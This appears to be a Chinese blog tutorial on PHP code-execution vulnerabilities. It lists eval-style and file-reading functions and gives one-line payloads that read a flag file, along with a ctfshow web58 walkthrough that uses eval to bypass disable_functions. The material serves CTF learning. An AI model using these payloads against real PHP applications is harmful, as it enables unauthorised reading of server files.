WEB安全之代码执行漏洞

代码执行漏洞

应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控 制这个字符串,将造成代码执行漏洞。

一些代码执行命令函数

eval()

assert()

call_user_func()/call_user_func_array()

create_function()

usort()/uasort()

preg_replace()

array_map()

${php代码}

用法


eval()
#传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。
return #语句会立即中止当前字符串的执行。
#代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。
assert()
require()
require_once()
popen() #函数打开进程文件指针。
fgets() #函数从文件指针中读取一行。
fpassthru() #函数从打开文件的当前位置开始读取所有数据,直到文件末尾(EOF)
fgetcsv() #函数从文件指针中读入一行并解析 CSV 字段
fgetss() #函数从打开的文件中读取一行并过滤掉 HTML 和 PHP 标记。
fscanf() #函数根据指定的格式对来自打开的文件的输入进行解析。
parse_ini_file() #函数解析一个配置文件(ini 文件),并以数组的形式返回其中的设置。貌似无法成功

一些读取文件的函数

highlight_file()      #highlight_file() 函数对文件进行语法高亮显示
show_source()         #show_source() 函数对文件进行语法高亮显示。是highlight_file的别名
php_strip_whitespace()#用于返回已删除 PHP 注释以及空白字符的源代码文件,需要配合
输出使用
file_get_contents() #把整个文件读入一个字符串中。
readfile() #函数读取一个文件,并写入到输出缓冲。
file() #函数把整个文件读入一个数组中。
fopen() #fopen — 打开文件或者 URL,配合fread()使用
fread() #函数读取文件
include() #获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件
中。
include_once()

用法

highlight_file(("flag.txt"));
show_source(("flag.txt"));
echo (php_strip_whitespace("flag.txt"));
echo file_get_contents(("flag.txt"));
readfile(("flag.txt"));
var_dump(file(("flag.txt"))); #用print_r也可以打印数组
print(fread(fopen("flag.txt","r"),filesize("flag.txt"))); #需要配合输出函数使用
include("flag.txt");
fread(popen("flag.txt","r"),filesize('flag.txt')); #貌似不用输出函数也可以
echo fgets(fopen("flag.txt","r"),1024); #需要配合输出函数使用
fpassthru(fopen("flag.txt","r"));
var_dump(fgetcsv(fopen("flag.txt","r"))); #需要配合打印数组函数使用
echo fgetss(fopen("flag.txt","r")); #需要配合输出函数使用
var_dump(fscanf(fopen("flag.txt","r"),"%s")); #需要配合打印数组函数使用

实例-ctfshow-web58

源码

表面上啥都没有过滤,其实已经通过disable_functions过滤了执行系统命令的函数。(别问为什么知道的,因为我尝试过了 QAQ....)

此时就可以通过eval来传入危险函数,从而获取到系统里面的flag

 首先通过post提交参数c,然后用scandir来查看当前目录下的文件,用var_dump()显示出来

发现当前目录下有个flag.php 接下来用高亮函数把flag.php 显示出来就行了

 一般代码执行的漏洞,基本上都是执行系统命令函数被禁用,又可以使用执行代码函数命令,就可以通过执行代码来把想要的文件显示出来

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>